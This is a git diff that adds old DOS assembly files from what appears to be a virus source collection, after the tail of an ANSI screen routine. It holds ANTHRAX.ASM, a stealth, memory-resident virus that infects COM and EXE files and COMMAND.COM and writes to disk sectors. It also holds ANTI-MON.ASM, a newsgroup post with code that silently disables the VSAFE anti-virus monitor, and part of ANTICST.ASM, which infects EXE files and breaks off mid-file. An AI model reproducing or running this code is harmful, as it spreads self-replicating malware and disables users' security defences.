+CHECKBOTY: + CMP DH,_aboty ; Row ??? + JLE OUTTAHERE ; Jump if less + CALL SCROLLIT ; else scroll, we're too low + MOV DH,_aboty ; put cursor back in window + MOV BH,VID_PAGE + INT 10H +OUTTAHERE: + POP DX ;Restore registers + POP CX + POP BX + POP AX + RET + + +WHERE_ARE_WE: ;Get the current cursor position + PUSH AX ;Save the registers + PUSH BX + PUSH CX + MOV AH,03 ;SET UP FOR ROM-BIOS CALL (03H) + MOV BH,VID_PAGE ;TO READ THE CURRENT CURSOR POSITION + INT 10H ; DH = ROW DL = COLUMN + POP CX ;Restore the registers + POP BX + POP AX + RET ;And go back from wence we came + + +SCROLLIT: PUSH AX ;Save the registers that will be affected + PUSH BX + PUSH CX + PUSH DX + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE ;attribute + INT 10H + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,1 ;Only blank line ??? + MOV CH,_atopy + MOV CL,_atopx + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEARSCRN: ;Clear current window + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_aboty + MOV DL,_atopx + MOV BH,VID_PAGE ;attribute + INT 10H +; MOV AH,8 ;Get the current character attribute +; MOV BH,VID_PAGE +; INT 10H +; MOV BH,AH ;Transfer the attribute to BH for next call + MOV BH,7 + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear screen + MOV CH,_atopy + MOV CL,_atopx + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DH,_atopy + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEAREOS: ;Clear to end of current window + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV CX,DX + MOV DH,_aboty + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEARLINE: ;Clear current line + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ; clear line + MOV CX,DX + MOV CL,_atopx + MOV DL,_abotx + INT 10H ; And do it....... + MOV AH,2 ;Now set cursor position to ???,??? + MOV DL,_atopx + MOV BH,VID_PAGE + INT 10H + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +CLEAREOL: ;Clear to end of current line + PUSH AX ;Save the registers + PUSH BX + PUSH CX + PUSH DX + MOV AH,8 ;Get the current character attribute + MOV BH,VID_PAGE + INT 10H + CALL WHERE_ARE_WE + PUSH DX ;save it + MOV BH,AH ;Transfer the attribute to BH for next call + MOV AH,6 ;Otherwise scroll ??? lines + MOV AL,0 ;clear line + MOV CX,DX + MOV DL,_abotx + INT 10H ;And do it....... + MOV AH,2 + MOV BH,VID_PAGE + POP DX + INT 10H ;restore position + POP DX ;Restore the stack like it was + POP CX + POP BX + POP AX + RET + +ANSI_PRNT ENDS + END diff --git a/a/ANTHRAX.ASM b/a/ANTHRAX.ASM new file mode 100755 index 0000000..cfe9740 --- /dev/null +++ b/a/ANTHRAX.ASM @@ -0,0 +1,450 @@ +;************************************************************************** +;** ANTHRAX VIRUS ** +;** Created: 2 Jan 90 Programmer: (c) Damage, Inc. ** +;** [NukE] Notes: Another Stealth Type of Virus! and this one is Detected** +;** by Scan (McAfee & Assc.) And does copy itself to *.COM ** +;** *.EXE and the Command.Com and is Memory Resident! ** +;** ** +;** Sources brought to you by -> Rock Steady [NukE]s Head Programmer! ** +;** ** +;************************************************************************** + +.286p + +DATA_1E EQU 46CH ; (0000:046C=2DH) +DATA_2E EQU 4 ; (65AC:0004=0) +DATA_3E EQU 7 ; (65AC:0007=0) +DATA_10E EQU 5FEH ; (65AC:05FE=0) + +SEG_A SEGMENT BYTE PUBLIC + ASSUME CS:SEG_A, DS:SEG_A + + + ORG 100h + +ANTHRAX PROC FAR + +START: + JMP LOC_24 ; (043B) + DB 13 DUP (0) + DB 95H, 8CH, 0C8H, 2DH, 0, 0 + DB 0BAH, 0, 0, 50H, 52H, 1EH + DB 33H, 0C9H, 8EH, 0D9H, 0BEH, 4CH + DB 0, 0B8H, 0CDH, 0, 8CH, 0CAH + DB 87H, 44H, 44H, 87H, 54H, 46H + DB 52H, 50H, 0C4H, 1CH, 0B4H, 13H + DB 0CDH, 2FH, 6, 53H, 0B4H, 13H + DB 0CDH, 2FH, 58H, 5AH, 87H, 4 + DB 87H, 54H, 2, 52H, 50H, 51H + DB 56H, 0A0H, 3FH, 4, 0A8H, 0FH + DB 75H, 6CH, 0EH, 7, 0BAH, 80H + DB 0, 0B1H, 3, 0BBH, 77H, 6 + DB 0B8H, 1, 2, 50H, 0CDH, 13H + DB 58H, 0B1H, 1, 0BBH, 0, 4 + DB 0CDH, 13H, 0EH, 1FH, 0BEH, 9BH + DB 3, 8BH, 0FBH, 0B9H, 5EH, 0 + DB 56H, 0F3H, 0A6H, 5EH, 8BH, 0FBH + DB 0B9H, 62H, 0, 56H, 0F3H, 0A4H + DB 5FH, 0BEH, 12H, 8, 0B9H, 65H + DB 0, 0F3H, 0A4H, 74H, 1EH, 89H + DB 4DH, 0E9H, 0B1H, 5CH, 89H, 4DH + DB 9BH, 88H, 6DH, 0DCH, 0B1H, 2 + DB 33H, 0DBH, 0B8H, 2, 3, 0CDH + DB 13H, 49H, 0BBH, 0, 4, 0B8H + DB 1, 3, 0CDH, 13H, 49H, 0B4H + DB 19H, 0CDH, 21H, 50H, 0B2H, 2 + DB 0B4H, 0EH, 0CDH, 21H, 0B7H, 2 + DB 0E8H, 87H, 1, 5AH, 0B4H, 0EH + DB 0CDH, 21H, 5EH, 1FH, 8FH, 4 + DB 8FH, 44H, 2, 8FH, 44H, 44H + DB 8FH, 44H, 46H, 1FH, 1EH, 7 + DB 95H, 0CBH +copyright DB '(c) Damage, Inc.' + DB 0, 0B0H, 3, 0CFH, 6, 1EH + DB 57H, 56H, 50H, 33H, 0C0H, 8EH + DB 0D8H, 0BEH, 86H, 0, 0EH, 7 + DB 0BFH, 8, 6, 0FDH, 0ADH, 0ABH + DB 0A5H, 0AFH, 87H, 0F7H, 0ADH, 0FCH + DB 74H, 11H, 1EH, 7, 0AFH, 0B8H + DB 7, 1, 0ABH, 8CH, 0C8H, 0ABH + DB 8EH, 0D8H, 0BFH, 68H, 0, 0A5H + DB 0A5H, 58H, 5EH, 5FH, 1FH, 7 + DB 2EH, 0FFH, 2EH, 0, 6, 6 + DB 1EH, 57H, 56H, 52H, 51H, 53H + DB 50H, 0EH, 1FH, 0BEH, 6, 6 + DB 33H, 0C9H, 8EH, 0C1H, 0BFH, 84H + DB 0, 0A5H, 0A5H, 0B4H, 52H, 0CDH + DB 21H, 26H, 8BH, 47H, 0FEH, 8EH + DB 0D8H, 0BBH, 3, 0, 3, 7 + DB 40H, 8EH, 0D8H, 81H, 7, 80H + DB 0, 0EH, 7, 0B7H, 12H, 0E8H + DB 0F2H, 0, 58H, 5BH, 59H, 5AH + DB 5EH, 5FH, 1FH, 7, 2EH, 0FFH + DB 2EH, 6, 6 + +LOC_RET_1: + RETN + DB 91H, 0AEH, 0B4H, 0A8H, 0BFH + DB 20H, 31H, 39H, 39H, 30H + +ANTHRAX ENDP + +; +; SUBROUTINE +; + +SUB_1 PROC NEAR + MOV AX,3D00H + INT 21H ; DOS Services ah=function 3Dh + ; open file, al=mode,name@ds:dx + JC LOC_RET_1 ; Jump if carry Set + XCHG AX,BX + MOV AX,1220H + INT 2FH ; Multiplex/Spooler al=func 20h + PUSH BX + MOV BL,ES:[DI] + MOV AX,1216H + INT 2FH ; Multiplex/Spooler al=func 16h + POP BX + MOV SI,462H + MOV DX,SI + MOV CL,18H + MOV AH,3FH ; '?' + INT 21H ; DOS Services ah=function 3Fh + ; read file, cx=bytes, to ds:dx + XOR AX,CX + JNZ LOC_7 ; Jump if not zero + PUSH ES + POP DS + MOV BYTE PTR [DI+2],2 + XOR DX,DX ; Zero register +LOC_2: + IN AL,DX ; port 0, DMA-1 bas&add ch 0 + CMP AL,10H + JB LOC_2 ; Jump if below + ADD AX,[DI+11H] + ADC DX,[DI+13H] + AND AL,0F0H + CMP AX,0FB00H + JAE LOC_7 ; Jump if above or = + MOV [DI+15H],AX + MOV [DI+17H],DX + PUSH CS + POP DS + PUSH AX + MOV CL,10H + DIV CX ; ax,dx rem=dx:ax/reg + SUB AX,[SI+8] + MOV CX,AX + SUB AX,[SI+16H] + MOV DS:DATA_2E,AX ; (65AC:0004=0) + LODSW ; String [si] to ax + XOR AX,5A4DH + JZ LOC_3 ; Jump if zero + XOR AX,1717H +LOC_3: + PUSHF ; Push flags + JNZ LOC_4 ; Jump if not zero + MOV [SI],AX + CMP AX,[SI+0AH] + XCHG AX,[SI+12H] + MOV DS:DATA_3E,AX ; (65AC:0007=0) + MOV [SI+14H],CX + MOV CX,4DCH + JZ LOC_5 ; Jump if zero + ADD WORD PTR [SI+8],48H +LOC_4: + MOV CX,65H +LOC_5: + PUSH CX + MOV CX,39BH + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + XOR CX,AX + POP CX + JNZ LOC_6 ; Jump if not zero + MOV DX,400H + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx + XOR CX,AX +LOC_6: + POP DX + POP AX +LOC_7: + JNZ LOC_11 ; Jump if not zero + MOV ES:[DI+15H],CX + MOV ES:[DI+17H],CX + PUSH DX + POPF ; Pop flags + JNZ LOC_9 ; Jump if not zero + MOV AX,ES:[DI+11H] + MOV DX,ES:[DI+13H] + MOV CH,2 + DIV CX ; ax,dx rem=dx:ax/reg + TEST DX,DX + JZ LOC_8 ; Jump if zero + INC AX +LOC_8: + MOV [SI],DX + MOV [SI+2],AX + JMP SHORT LOC_10 ; (0328) +LOC_9: + MOV BYTE PTR [SI-2],0E9H + ADD AX,328H + MOV [SI-1],AX +LOC_10: + MOV CX,18H + LEA DX,[SI-2] ; Load effective addr + MOV AH,40H ; '@' + INT 21H ; DOS Services ah=function 40h + ; write file cx=bytes, to ds:dx +LOC_11: + OR BYTE PTR ES:[DI+6],40H ; '@' + MOV AH,3EH ; '>' +LOC_12: + INT 21H ; DOS Services ah=function 3Eh + ; close file, bx=file handle + RETN +SUB_1 ENDP + + +; +; SUBROUTINE +; + +SUB_2 PROC NEAR + MOV DS,CX + MOV BL,DS:DATA_1E ; (0000:046C=34H) + PUSH CS + POP DS + INC DATA_7 ; (65AC:045E=0FC00H) + MOV DX,64BH + CALL SUB_3 ; (036D) + MOV SI,60AH + MOV BYTE PTR [SI],5CH ; '\' + INC SI + XOR DL,DL ; Zero register + MOV AH,47H ; 'G' + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + MOV DX,39BH +LOC_13: + MOV AH,3BH ; ';' + INT 21H ; DOS Services ah=function 3Bh + ; set current dir, path @ ds:dx + JCXZ LOC_14 ; Jump if cx=0 + MOV AH,51H ; 'Q' + INT 21H ; DOS Services ah=function 51h + ; get active PSP segment in bx + MOV DS,BX + MOV DX,80H + +; External Entry into Subroutine + +SUB_3: + MOV AH,1AH + JMP SHORT LOC_12 ; (0339) +LOC_14: + JC LOC_17 ; Jump if carry Set + MOV SI,39CH + XOR DL,DL ; Zero register + MOV AH,47H ; 'G' + INT 21H ; DOS Services ah=function 47h + ; get present dir,drive dl,1=a: + CMP CH,BYTE PTR DS:[3DCH] ; (65AC:03DC=81H) +LOC_15: + MOV CL,32H ; '2' + MOV DX,29DH + MOV AH,4EH ; 'N' + JZ LOC_20 ; Jump if zero + INT 21H ; DOS Services ah=function 4Eh + ; find 1st filenam match @ds:dx + JC LOC_17 ; Jump if carry Set +LOC_16: + MOV DX,64BH + MOV AX,4F01H + MOV SI,3DCH + MOV DI,668H + STOSB ; Store al to es:[di] + MOV CL,0DH + REPE CMPSB ; Rep zf=1+cx >0 Cmp [si] to es:[di] + JZ LOC_20 ; Jump if zero + CMP CH,[DI-2] + JE LOC_20 ; Jump if equal + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JNC LOC_16 ; Jump if carry=0 + XOR AL,AL ; Zero register + JMP SHORT LOC_15 ; (0380) + DB 2AH, 2EH, 2AH, 0 +LOC_17: + MOV CL,41H ; 'A' + MOV DI,39CH + CMP CH,[DI] + MOV AL,CH + MOV BYTE PTR DS:[3DCH],AL ; (65AC:03DC=81H) + JZ LOC_23 ; Jump if zero + REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al + DEC DI + MOV CL,41H ; 'A' + MOV AL,5CH ; '\' + STD ; Set direction flag + REPNE SCASB ; Rep zf=0+cx >0 Scan es:[di] for al + LEA SI,[DI+2] ; Load effective addr + MOV DI,3DCH + CLD ; Clear direction +LOC_18: + LODSB ; String [si] to al + TEST AL,AL + STOSB ; Store al to es:[di] + JNZ LOC_18 ; Jump if not zero + MOV DX,2CDH + XOR CL,CL ; Zero register + JMP SHORT LOC_13 ; (035E) + DB 2EH, 2EH, 0 +LOC_19: + MOV DX,64BH + MOV AH,4FH ; 'O' +LOC_20: + INT 21H ; DOS Services ah=function 4Fh + ; find next filename match + JC LOC_17 ; Jump if carry Set +DATA_6 DW 69BEH + DB 6, 0BFH, 0DCH, 3, 80H, 3CH + DB 2EH, 74H, 0ECH, 88H, 2DH, 8BH + DB 0D6H, 0F6H, 44H, 0F7H, 10H, 75H + DB 0DBH +LOC_21: + LODSB ; String [si] to al + TEST AL,AL + STOSB ; Store al to es:[di] + JNZ LOC_21 ; Jump if not zero + DEC SI + STD ; Set direction flag + LODSW ; String [si] to ax + LODSW ; String [si] to ax + CLD ; Clear direction + CMP AX,4558H + JE LOC_22 ; Jump if equal + CMP AX,4D4FH + JNE LOC_19 ; Jump if not equal +LOC_22: + PUSH BX + CALL SUB_1 ; (0262) + POP BX + XOR CX,CX ; Zero register + MOV ES,CX + MOV AL,ES:DATA_1E ; (0000:046C=38H) + PUSH CS + POP ES + SUB AL,BL + CMP AL,BH + JB LOC_19 ; Jump if below +LOC_23: + MOV DX,80H + MOV CL,3 + MOV BX,200H + MOV AX,301H + INT 13H ; Disk dl=drive 0: ah=func 03h + ; write sectors from mem es:bx + MOV DX,60AH + JMP LOC_13 ; (035E) +SUB_2 ENDP + +LOC_24: + XCHG AX,BP + MOV DI,100H + MOV BX,[DI+1] + SUB BX,228H + MOV AX,DI + LEA SI,[BX+3FDH] ; Load effective addr + MOVSW ; Mov [si] to es:[di] + MOVSB ; Mov [si] to es:[di] + XCHG AX,BX + MOV CL,4 + SHR AX,CL ; Shift w/zeros fill + MOV CX,DS + ADD AX,CX + MOV DX,0BH + JMP SHORT LOC_26 ; (04CD) + DB 0B8H, 0D0H +DATA_7 DW 0FC00H +DATA_8 DW 8587H + DB 68H, 0FAH, 0ABH, 8CH, 0C8H, 0E2H + DB 0F7H, 0A3H, 86H, 0, 0ABH, 8EH + DB 0D8H, 0B4H, 8, 0CDH, 13H, 49H + DB 49H, 0A1H, 0E9H, 3, 84H, 0E4H + DB 74H, 1, 91H, 0B2H, 80H, 0B8H + DB 3, 3, 0CDH, 13H, 91H, 84H + DB 0E4H, 75H, 2 + DB 2CH, 40H +LOC_25: + DEC AH + MOV DATA_6,AX ; (65AC:03E9=69BEH) + INC DATA_8 ; (65AC:0460=8587H) + XOR DH,DH ; Zero register + MOV CX,1 + MOV BX,400H + MOV AX,301H + INT 13H ; Disk dl=drive ?: ah=func 03h + ; write sectors from mem es:bx + MOV DL,DH + RETF ; Return far + DB 41H, 4EH, 54H, 48H, 52H, 41H + DB 58H, 0EH, 1FH, 83H, 2EH, 13H + DB 4, 2, 0CDH, 12H, 0B1H, 6 + DB 0D3H, 0E0H, 8EH, 0C0H, 0BFH, 0 + DB 4, 0BEH, 0, 7CH, 0B9H, 0 + DB 1, 8BH, 0DEH, 0FCH, 0F3H, 0A5H + DB 8EH, 0D8H, 0BAH, 27H, 4 +LOC_26: + PUSH CX + PUSH BX + PUSH AX + PUSH DX + RETF ; Return far + DB 8EH, 0C1H, 0B1H, 4, 0BEH, 0B0H + DB 5 + +LOCLOOP_27: + ADD SI,0EH + LODSW ; String [si] to ax + CMP AL,80H + JE LOC_29 ; Jump if equal + LOOP LOCLOOP_27 ; Loop if cx > 0 + +LOC_28: + INT 18H ; ROM basic +LOC_29: + XCHG AX,DX + STD ; Set direction flag + LODSW ; String [si] to ax + XCHG AX,CX + MOV AX,201H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + CMP WORD PTR DS:DATA_10E,0AA55H ; (65AC:05FE=0) + JNE LOC_28 ; Jump if not equal + PUSH ES + PUSH DS + POP ES + POP DS + XOR DH,DH ; Zero register + MOV CX,2 + XOR BX,BX ; Zero register + MOV AX,202H + INT 13H ; Disk dl=drive a: ah=func 02h + ; read sectors to memory es:bx + JMP $-10FH + DB 0, 0, 0, 0, 0CDH, 20H + DB 0CCH + DB 112 DUP (1AH) + +SEG_A ENDS + + + + END START + \ No newline at end of file diff --git a/a/ANTI-MON.ASM b/a/ANTI-MON.ASM new file mode 100755 index 0000000..c79082c --- /dev/null +++ b/a/ANTI-MON.ASM @@ -0,0 +1,271 @@ +From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:43:12 1994 +Xref: netcom.com alt.comp.virus:507 +Path: netcom.com!ix.netcom.com!netnews +From: Zeppelin@ix.netcom.com (Mr. G) +Newsgroups: alt.comp.virus +Subject: Anti Monitor Virus (ANTI AV TSR) +Date: 29 Nov 1994 13:05:19 GMT +Organization: Netcom +Lines: 256 +Distribution: world +Message-ID: <3bf8uf$ib9@ixnews1.ix.netcom.com> +References: +NNTP-Posting-Host: ix-pas2-10.ix.netcom.com + +;*********************************************************************** +*********************** +;* + * +;* FILE: ANTI-MON.ASM (c) 1993 + * +;* PURPOSE: Detect and remove a TSR anti-viral monitor + * +;* AUTHOR: Willoughby DATE: 05/09/93 + * +;* + * +;*********************************************************************** +*********************** + +MAIN SEGMENT BYTE + ASSUME CS:MAIN,DS:MAIN,ES:MAIN + + ORG 100H + +;*********************************************************************** +*********************** +;The purpose of this routine is simply to demonstrate the function of +the FIND_AV_MON and +;NEUT_AV_MON routines. It displays a message based upon the results of +the test for TSR anti- +;viral monitor interrupt vectors performed by the FIND_AV_MON routine +and the action taken, if +;needed, by the NEUT_AV_MON routine. + +START: call FIND_AV_MON ;check for installed +anti-viral monitors + jc MP1 ;if carry is set, a +monitor is present + mov dx,OFFSET NOT_HERE_MSG ;if not, display +appropriate message + jmp MPEX ;during exit +MP1: cmp WORD PTR [MONITOR_TYPE],0 ;check for type/version +of monitor present + mov dx,OFFSET MON0_HERE_MSG + je MP2 ;if MONITOR_TYPE = 0, +display v1.0 message + mov dx,OFFSET MON1_HERE_MSG ;otherwise, display v6.0 +message +MP2: mov ah,9 + int 21H + call NEUT_AV_MON ;then restore vectors to +original values + mov dx,OFFSET BUT_NOW_MSG ;display monitor removal +message +MPEX: mov ah,9 + int 21H + mov ax,4C00H ;exit program + int 21H + +NOT_HERE_MSG: + DB 0DH,0AH,'VSAFE is not present.',0DH,0AH,24H +MON0_HERE_MSG: + DB 0DH,0AH,7,'VSAFE v1.0 is present.',0DH,0AH,24H +MON1_HERE_MSG: + DB 0DH,0AH,7,'MS-DOS 6.0 VSAFE is present',0DH,0AH,24H +BUT_NOW_MSG: + DB 0DH,0AH,'But now, it just APPEARS to be.',0DH,0AH,24H + + +;*********************************************************************** +*********************** +;This routine tests for the presence in memory of two versions of VSAFE +by comparing the +;offsets of the interrupt vectors stolen during VSAFE's installation +with known VSAFE interrupt +;handler offsets. When it finds any three offset values in the system +interrupt vector table +;which match the VSAFE offsets for the corresponding interrupt, the +carry flag is set to +;indicate the presence of VSAFE in memory to the calling routine. The +segment in which VSAFE +;resides is stored in MONITOR_SEGMENT and the VSAFE version stored in +MONITOR_TYPE for use by +;the NEUT_AV_MON routine. + +NUM_MONITORS EQU 2 ;# of anti-viral monitor +types to check for +NUM_VECTORS EQU 8 ;# of interrupt vector +table entries to check +MATCHES_REQ EQU 3 ;# of offset matches +required for positive ID + +FIND_AV_MON: + push es + xor ax,ax + mov es,ax ;set ES to segment of +interrupt vector table + mov cx,NUM_VECTORS ;set loop counter to # +of vectors to check + mov si,OFFSET VECTOR_OFFSETS ;point SI to start of +vector offset string +FAMLP1: lodsw ;load vector table +offset of first vector + mov bx,ax + mov dx,w[es:bx] ;load offset of vector +from table + xor di,di +FAMLP2: lodsw ;load offset value used +by anti-viral monitor + cmp dx,0FFFFH ;test for skip vector +check value + je FAMLP3 ;if skip value (FFFFH), +exit inner loop + cmp dx,ax ;does vector table value +match monitor value? + jne FAMLP3 ;if not, +jump to end of loop + inc BYTE PTR [OFFSET TOTAL_MATCHES+di] ;if so, +increment match counter + cmp BYTE PTR [OFFSET TOTAL_MATCHES+di],MATCHES_REQ +;required # of matches found? + jne FAMLP3 ;if not, +jump to end of loop + add bx,2 ;set BX to point at +vector segment value + mov ax,WORD PTR [es:bx] ;load anti-viral seg. +value from vector table + mov MONITOR_SEGMENT,ax ;store segment value + mov MONITOR_TYPE,di ;store monitor number +indicating version/type + stc ;set carry flag to +indicate monitor was found + jmp FAMEX +FAMLP3: inc di ;increment monitor +number + cmp di,NUM_MONITORS ;all monitor values +checked for this vector? + jne FAMLP2 ;if not, do it all again + loop FAMLP1 ;if all vectors not +checked, loop to check next + clc ;clear carry flag to +indicate no monitor found +FAMEX: pop es + ret + +MONITOR_SEGMENT DW ? ;storage location for +monitor segment value +MONITOR_TYPE DW ? ;ditto for monitor type + +TOTAL_MATCHES: DB NUM_MONITORS DUP ? ;table for +vector match counts + +VECTOR_OFFSETS: + DW 004CH,1039H,0352H ;INT 13H, VSAFE1 offset, +VSAFE6 offset + DW 0058H,12CDH,05DDH ;INT 16H + DW 0080H,138CH,06BCH ;INT 20H + DW 0084H,15F7H,0940H ;INT 21H + DW 009CH,1887H,0C0CH ;INT 27H + DW 00BCH,2476H,1440H ;INT 2FH + DW 0100H,1254H,05CBH ;INT 40H + DW 0024H,0FFFFH,02AFH ;INT 09H (FFFFH = skip +vector offset check) + + +;*********************************************************************** +*********************** +;This routine restores all but the keyboard interrupt vectors to their +original values prior +;to the residency of VSAFE. This is accomplished by moving the +original, unencrypted (!?) +;vector values stored within VSAFE to their respective locations in the +system interrupt vector +;table. VSAFE is, thereby, completely disabled, but appears to be fully +functional because its +;user interface continues to respond correctly to user inputs. This +routine uses the monitor +;segment (MONITOR_SEGMENT) and monitor type/version (MONITOR_TYPE) +values returned by the +;FIND_AV_MON routine. + +TABLE_SEGMENT EQU 0 ;interrupt vector table +segment +NUM_RESTORE EQU 6 ;number of vectors to +restore + +NEUT_AV_MON: + push es + mov ax,OFFSET MON2_OFFSETS + sub ax,OFFSET MON1_OFFSETS + mul WORD PTR [MONITOR_TYPE] ;calc. string offset for +monitor type/version + mov si,OFFSET MON1_OFFSETS + add si,ax ;point to first value in +desired monitor string + mov di,OFFSET TABLE_OFFSETS ;ditto for table offset +string + mov cx,NUM_RESTORE ;set counter to number +of vectors to restore +RESTORE_VECTS: + mov bx,WORD PTR [si] ;load monitor offset of +original vector value + cmp bx,0FFFFH ;test for skip restoral +value + je SKIP ;if skip value (FFFFH), +then jump to loop + mov es,MONITOR_SEGMENT ;set ES to monitor +segment + mov ax,WORD PTR [es:bx] ;load original vector +offset from monitor + mov ORIGINAL_OFF,ax ;store in scratch pad + mov ax,WORD PTR [es:bx+2] ;load original vector +segment from monitor + mov ORIGINAL_SEG,ax ;store in scratch pad + mov bx,WORD PTR [di] ;load corresponding int. +vector table offset + mov es,TABLE_SEGMENT ;set ES to int. vector +table segment + mov ax,ORIGINAL_OFF ;load original vector +offset + mov WORD PTR [es:bx],ax ;store original offset +in vector table + mov ax,ORIGINAL_SEG ;load original vector +segment + mov WORD PTR [es:bx+2],ax ;store original segment +in vector table +SKIP: add si,2 ;point SI to next string +value + add di,2 ;ditto for DI + loop RESTORE_VECTS ;loop to restore next +vector + pop es + ret ;all done, monitor is +totally neutralized + +ORIGINAL_OFF DW ? ;temp. storage for +original int. vector offset +ORIGINAL_SEG DW ? ;ditto for segment + +TABLE_OFFSETS: + DW 004CH,0080H,0084H,009CH,00BCH,0100H ;offsets to INT +vector table + +MON1_OFFSETS: ;VSAFE v1.0 +offsets where + DW 1967H,196FH,1977H,197BH,242AH,197FH ;original +vectors are stored + ;(FFFFH = skip +vector restoral) + +MON2_OFFSETS: ;MS-DOS 6.0 +VSAFE offsets where + DW 0DB3H,0DBBH,0DC3H,0DC7H,141EH,0DCBH ;original +vectors are stored + ;(FFFFH = skip +vector restoral) + +MAIN ENDS + + + diff --git a/a/ANTICST.ASM b/a/ANTICST.ASM new file mode 100755 index 0000000..5e9aa8d --- /dev/null +++ b/a/ANTICST.ASM @@ -0,0 +1,583 @@ + +PAGE 60,132 + +; +; +; ANTICST +; +; Created: 4-Mar-91 +; +; + +data_1e equ 4Ch ; (0000:004C=31h) +data_2e equ 4Eh ; (0000:004E=70h) +data_3e equ 84h ; (0000:0084=0E3h) +data_4e equ 86h ; (0000:0086=161Ah) +data_5e equ 90h ; (0000:0090=8Eh) +data_6e equ 92h ; (0000:0092=1498h) +data_7e equ 102h ; (0000:0102=0CC00h) +data_8e equ 106h ; (0000:0106=326h) +data_9e equ 47Bh ; (0000:047B=0) +data_10e equ 0 ; (0326:0000=6A7h) +data_11e equ 2 ; (0326:0002=70h) +data_12e equ 0 ; (06A0:0000=65h) +data_13e equ 1 ; (06A1:0001=3028h) +data_14e equ 2 ; (06E3:0002=2342h) +data_15e equ 6 ; (06E3:0006=2344h) +data_33e equ 0FD89h ; (701E:FD89=0) +data_34e equ 0FD8Bh ; (701E:FD8B=0) +data_35e equ 0FDA1h ; (701E:FDA1=0) +data_36e equ 0FDA3h ; (701E:FDA3=0) +data_37e equ 0FDABh ; (701E:FDAB=0) +data_38e equ 0FDB5h ; (701E:FDB5=0) +data_39e equ 0FDB7h ; (701E:FDB7=0) +data_40e equ 0FDBDh ; (701E:FDBD=0) +data_41e equ 0FDBFh ; (701E:FDBF=0) + +code_seg_a segment + assume cs:code_seg_a, ds:code_seg_a + + + org 100h + +anticst proc far + +start: +data_16 dw 73E9h +data_17 dw 0C302h + db 23 dup (0C3h) +data_19 dw 0C3C3h +data_20 dw 0C3C3h + db 2Ah, 2Eh, 5Ah, 49h, 50h + db 0 +data_22 dw 0 +data_23 dw 0 +data_24 dw 0 +data_25 dw 0 +data_26 dw 0 +data_27 dd 00000h +data_28 dw 0 +data_29 dw 0 +data_30 dd 00000h +data_31 dw 0 +data_32 dw 0 + db 40h, 3Dh, 4Dh, 4Bh, 75h, 9 + db 55h, 8Bh, 0ECh, 83h, 66h, 6 + db 0FEh, 5Dh, 0CFh, 80h, 0FCh, 4Bh + db 74h, 12h, 3Dh, 0, 3Dh, 74h + db 0Dh, 3Dh, 0, 6Ch, 75h, 5 + db 80h, 0FBh, 0, 74h, 3 +loc_1: + jmp loc_12 +loc_2: + push es + push ds + push di + push si + push bp + push dx + push cx + push bx + push ax + call sub_5 + call sub_6 + cmp ax,6C00h + jne loc_3 ; Jump if not equal + mov dx,si +loc_3: + mov cx,80h + mov si,dx + +locloop_4: + inc si + mov al,[si] + nop + or al,al ; Zero ? + loopnz locloop_4 ; Loop if zf=0, cx>0 + + sub si,2 + cmp word ptr [si],4558h + je loc_6 ; Jump if equal +loc_5: + jmp short loc_11 + db 90h +loc_6: + cmp word ptr [si-2],452Eh + nop + jz loc_7 ; Jump if zero + jmp short loc_5 +loc_7: + mov ax,3D02h + call sub_4 + jc loc_11 ; Jump if carry Set + mov bx,ax + mov ax,5700h + call sub_4 + mov cs:data_23,cx ; (701E:0127=0) + mov cs:data_24,dx ; (701E:0129=0) + mov ax,4200h + xor cx,cx ; Zero register + xor dx,dx ; Zero register + call sub_4 + push cs + pop ds + mov dx,103h + mov si,dx + mov cx,18h + mov ah,3Fh ; '?' + call sub_4 + jc loc_9 ; Jump if carry Set + cmp word ptr [si],5A4Dh + jne loc_8 ; Jump if not equal + call sub_1 + jmp short loc_9 +loc_8: + jmp short loc_9 +loc_9: + jc loc_10 ; Jump if carry Set + mov ax,5701h + mov cx,cs:data_23 ; (701E:0127=0) + mov dx,cs:data_24 ; (701E:0129=0) + call sub_4 +loc_10: + mov ah,3Eh ; '>' + call sub_4 +loc_11: + call sub_6 + pop ax + pop bx + pop cx + pop dx + pop bp + pop si + pop di + pop ds + pop es +loc_12: + jmp cs:data_27 ; (701E:012F=0) + 